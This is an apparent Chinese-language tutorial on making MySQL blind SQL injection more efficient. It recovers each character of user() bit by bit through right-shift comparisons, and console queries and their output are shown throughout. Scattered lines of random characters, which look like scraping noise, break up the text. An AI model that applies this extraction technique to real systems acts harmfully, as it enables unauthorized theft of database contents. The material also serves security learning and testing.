关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位



- O/ M) Z4 U7 N1 I9 L! b下面将以查询mysql数据库当中user()的第一位为例:
+ X. ?" A3 I1 f3 q; j" x! _+ ?; U

: S4 j3 C+ `6 n
3 |" b, F6 p3 q2 L; c7 ^ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)

* a* f) @$ H0 }
, n% W* ~: C1 ^" C5 W
首先执行如下sql语句:



mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
! y) B1 e8 W' C* _+ z

" I" H4 R# E% ]; u! y
. \7 g0 K/ R3 X7 [我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

4 [' d5 ?3 V5 ^( D; q6 h" h
# a8 I& t# S$ L- k4 x
# |: W9 }; F! R$ U% A( V第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1

6 c4 j' `- ~* H
3 _. X( O% k  `8 O/ u8 ?- j& k5 @0 p
8 R( O; ?! b6 t4 `; }如果运算结果为1,说明第一位为0,不为1
1 j2 V. R; m" y1 v5 H
: ~1 u* l4 C; y

, z" w" {" c( m# G/ F/ z+————————————–+
0 \( ^' W6 X( N# U, G  z- ~/ f
5 |* ?6 q- c; ^6 F" O| (ascii((substr(user(),1,1))) >> 7)=0 |
' A. n5 [7 I8 `; w! ]4 u4 ~
2 [" [4 {* c# G- N" |+ C) \0 X, d5 H, l* N+————————————–+
: m2 c. u  p; I! m
8 K% x& ^1 R$ e  g( _| 1 |
; j# F, l8 u, a0 w
+————————————–+
3 v& e4 Z5 e8 d8 v- O8 |7 p
7 S. _& E& v$ Q5 O9 o% i( N1 row in set (0.00 sec)
7 H! [" ~( @% n$ [5 x' x( [- l
这样我们就确定这个8bit的ascii的第一位为0



第二次我们来做6次右偏移来确定前两位
5 L* Y$ Y8 z0 M

: r7 w5 |* ?6 i
2 d, d5 r! n. P0 f! o前两位可能是01或00,即依然可以与0做比较,
& m1 L8 A3 x2 j- u, N8 L
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
3 n2 ^+ d( t+ p; m' z$ [6 [
7 c% T/ ?+ Y  l4 J+————————————–+
" A8 s2 Z4 u' R' W$ _
| (ascii((substr(user(),1,1))) >> 6)=0 |

+————————————–+
6 @' I* L0 q. {. v
| 0 |

: N- B, j- j) h* T+ X) [+————————————–+

1 row in set (0.00 sec)
' _5 _6 G; x3 |+ _% K$ x3 u

: ~$ y; W& O+ Y2 g+ W7 T* D& I7 p6 V
( B4 _& g. l( i! C# m: L结果为0,即第二位为1
$ `# v4 z" k3 Z( g# {' Z& F' d) }- P


9 I( H6 ]* X  v  U* L开始猜测前三位为010或011
+ W3 a+ W3 I3 I  O
. e8 N1 V0 f7 L$ K4 I& a3 g6 ~

2 m% x% U" ~5 g- L让我们看看010和011的ascii码是多少


* S, _, U) Q" z* J% Y# F: {/ ^/ C
分别查询select b’011′ select b’010′
; I1 U1 W; Y0 b: U0 ~( o
% u3 v1 W/ ^! d

& m: D! }& [+ N% Y6 q8 d, e获得结果 010 = 2 011 = 3

/ V: U# o# u: \3 ^) u7 b8 H8 }
  c- O8 I8 B1 ^/ {( B. j& W
执行如下sql:
# G6 n# f8 q& H2 Q

& y: [+ G& V9 }: y; k$ _
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |

4 o" M+ Q) x" ^7 N, W+————————————–+

| 0 |

+————————————–+

! b# ^7 Q; f6 J3 D$ t即前三位不为010,而是011


2 u: S+ Y" _: Q8 x# Y6 K  {" M0 W
4 ?& l* I, k: w4 a# K* c( {直到获得最后一位
+ z2 W# M5 g& }- G4 y


. @% z: D7 K  U$ I最终结果为:01110010


" y' |+ L- ?( o6 d
转换一下:
: b4 X( E6 G, D$ \


select b’01110010′
. I4 w) ~+ ]. E


1 a8 a5 x( Y- g6 T; g2 a* g0 W6 r# Q查询结果



+————-+

3 z9 V$ O9 T$ l% z  n* Q: O| b’01110010′ |
4 s4 A2 k. r* ~# @
+————-+

( h! Z( J/ A- J| r |

+————-+

1 row in set (0.00 sec)

7 F, b, o2 Z8 _" w3 q0 i
6 T' b  S5 |+ P6 b
$ ]0 A: X+ J+ I( Z3 k& C这样我们就获得了user()的第一位.其它位依此类推

3 g* Y% t# A- h